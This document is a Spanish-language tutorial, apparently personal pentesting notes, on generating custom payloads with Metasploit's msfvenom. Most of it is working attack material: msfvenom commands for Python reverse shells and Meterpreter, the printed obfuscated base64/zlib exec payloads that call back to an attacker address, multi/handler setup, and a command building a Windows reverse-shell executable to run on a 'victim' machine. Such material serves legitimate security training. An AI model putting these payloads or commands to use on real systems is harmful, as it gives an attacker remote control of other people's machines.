Metasploit (Creación de payloads personalizados)
Esta herramienta que viene con metasploit
llamada msfvenom
es un generador de payloads
.
Si queremos crear por ejemplo un payload
de python
que haga una reverse shell
podremos hacerlo de la siguiente forma:
msfvenom -p python/shell_reverse_tcp LHOST=192.168.16.128 LPORT=4444
En el LHOST
especificamos esa IP ya que es la IP de nuestra maquina a la que queremos que nos de la shell
que se identifica con una L
por delante y cuando es una R
por delante es cuando nos referimos a la maquina victima.
Y el puerto puede ser el que queramos, pero de normal se suele utilizar el 4444
.
Si ejecutamos este comando, se nos generara un payload
por terminal:
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 416 bytes
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNpNjk1rwzAMQM/2r/AtNstME8rIBj6UkUIZ28qae0ltlZqmtrGc7e/PXnOYQIcnPX3YW/AxMfT6ComNyJDapTSfQvQaEEs5UvQK5d3jKDfb4+6jH2qUh8/Xt+Nh+Oo37yJLUnvnQCfOq+a5lc1Tl1M2bVfV6xxC0J+LnYANcYYXSozKIxH0N29W7VpQYs9sAseNUGqV++QUYbxSElSUex9KRxrQ3gCv5nR+7CpR4wWmSZWFNSZjXVF3+76An9M/ghgXyoe8CvJu5Puj4eLhj7OzMCX5NQRnuBf0Fx2BXIM=')[0])))
Indicando que ese codigo ultimo, si lo ponemos en algun exploit
que cree una reverse shell
y lo utilizamos con ese payload
veremos que funciona.
Si por ejemplo queremos utilizar el interpreter
avanzado de metepreter
que es el mas utilizado y el mejor, en vez de que nos de su autocontenido, lo podemos hacer de la siguiente forma para que nos lo de mas simple:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.16.128 LPORT=4444
Info:
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 436 bytes
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UN9LxDAMfl7/ir41xV65jTnuDieI+CAigndvIrJ1Uce6drQ9nYr/uy07DCQhyZcvP/pxsi5Qb9WAQXzrvhVt47EqhQ/uqIII/Yjk1To6095Q15g3hHzNdyQL7ivazNdLs1wcFOIU7x+u7172h8ebq3uecFJZY1AFAJZvC5lXm6gyLzZMlFF4ArUOm4FkOCucQmJP46XXiBOcc6LrZSt5NFOjBmCXt0x46VB9QCR4Wj+Trj7FmpPP914j1Wig4xc60nVn/9XVkuYEZ1SQDpcdKjtODr2H5QeyrcqU7DAhxQ/zbOd/OfkDcFRfaw==')[0])))
Y con ese codigo lo podremos adaptar a algun exploit
que haya una reverse shell
para que nos de el meterpreter
y no una shell
normal y simple, pudiendo utilizar las funciones de meterpreter
.
Pero claro, al utilizar un meterpreter
se necesita utilizar un exploit
que pueda soportar este tipo de shell
que se llama handler
en metasploit
, por lo que haremos lo siguiente:
msfconsole -q
Seleccionamos el exploit
que queremos utilizar, en este caso es el handler
.
use multi/handler
Y lo configuramos acorde a lo que hayamos creado con msfvenom
, que en mi caso seria lo siguiente:
set LHOST 192.168.16.128
set LPORT 4444
set payload python/meterpreter/reverse_tcp
Y con esto configurado solo le tendremos que dar a run
para ejecutarlo y que este a la escucha.
Mientras tanto con el otro exploit
, con ese codigo insertado:
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UN9LxDAMfl7/ir41xV65jTnuDieI+CAigndvIrJ1Uce6drQ9nYr/uy07DCQhyZcvP/pxsi5Qb9WAQXzrvhVt47EqhQ/uqIII/Yjk1To6095Q15g3hHzNdyQL7ivazNdLs1wcFOIU7x+u7172h8ebq3uecFJZY1AFAJZvC5lXm6gyLzZMlFF4ArUOm4FkOCucQmJP46XXiBOcc6LrZSt5NFOjBmCXt0x46VB9QCR4Wj+Trj7FmpPP914j1Wig4xc60nVn/9XVkuYEZ1SQDpcdKjtODr2H5QeyrcqU7DAhxQ/zbOd/OfkDcFRfaw==')[0])))
Lo ejecutaremos y esto nos proporcionara una shell
en el handler
con el meterpreter
, siendo todo mas comodo y mejor.
Tambien con msfvenom
podemos generar ejecutables para diferentes sistemas operatvios, por ejemplo si queremos generar un .exe
para windows
podremos hacerlo de la siguiente forma:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.16.128 LPORT=4444 -f exe > shell.exe
Y con esto nos creara un ejecutable .exe
, por lo que esto solo lo tendremos que pasar a la maquina windows
y estando a la escucha en el handler
solo tendriamos que ejecutarlo y obtendriamos una shell
en este caso con meterpreter
de la maquina victima windows
.
Last updated